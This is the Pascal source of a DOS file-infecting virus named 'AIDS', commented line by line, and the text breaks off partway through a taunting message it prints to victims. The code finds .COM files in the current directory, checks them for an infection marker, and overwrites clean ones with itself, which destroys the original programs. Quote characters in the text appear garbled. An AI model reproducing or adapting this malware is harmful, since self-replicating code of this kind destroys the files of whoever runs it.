VirusSize = 13847; { AIDSYs code size } Warning :String[42] { Warning message } = ZThis File Has Been Infected By AIDS! HaHa!Y; { -- Type declarations------------------------------------- } Type DTARec =Record { Data area for file search } DOSnext :Array[1..21] of Byte; Attr : Byte; Ftime, FDate, FLsize, FHsize : Integer; FullName: Array[1..13] of Char; End; Registers = Record {Register set used for file search } Case Byte of 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); End; { -- Variables--------------------------------------------- } Var { Memory offset program code } ProgramStart : Byte absolute Cseg:$100; { Infected marker } MarkInfected : String[42] absolute Cseg:$180; Reg : Registers; { Register set } DTA : DTARec; { Data area } Buffer : Array[Byte] of Byte; { Data buffer } TestID : String[42]; { To recognize infected files } UsePath : String[66]; { Path to search files } { Lenght of search path } UsePathLenght: Byte absolute UsePath; Go : File; { File to infect } B : Byte; { Used } LoopVar : Integer; {Will loop forever} { -- Program code------------------------------------------ } Begin GetDir(0, UsePath); { get current directory } if Pos(Z\Y, UsePath) <> UsePathLenght then UsePath := UsePath + Z\Y; UsePath := UsePath + Z*.COMY; { Define search mask } Reg.AH := $1A; { Set data area } Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } Reg.AH := $4E; Reg.DS := Seg(UsePath); Reg.DX := Ofs(UsePath[1]); Reg.CX := $ff; { Set attribute to find ALL files } MsDos(Reg); { Find first matching entry } IF not Odd(Reg.Flags) Then { If a file found then } Repeat UsePath := DTA.FullName; B := Pos(#0, UsePath); If B > 0 then Delete(UsePath, B, 255); { Remove garbage } Assign(Go, UsePath); Reset(Go); If IOresult = 0 Then { If not IO error then } Begin BlockRead(Go, Buffer, 2); Move(Buffer[$80], TestID, 43); { Test if file already ill(Infected) } If TestID <> Warning Then { If not then ... } Begin Seek (Go, 0); { Mark file as infected and .. } MarkInfected := Warning; { Infect it } BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7)); Close(Go); Halt; {.. and halt the program } End; Close(Go); End; { The file has already been infected, search next. } Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); { ......................Until no more files are found } Until Odd(Reg.Flags); Loopvar:=Random(10); If Loopvar=7 then begin Writeln(Z Y); {Give a lot of smiles} Writeln(ZY); Writeln(Z Y); Writeln(Z ATTENTION: Y); Writeln(Z I have been elected to inform you that throughout your process of Y); Writeln(Z collecting and executing files, you have accidentally H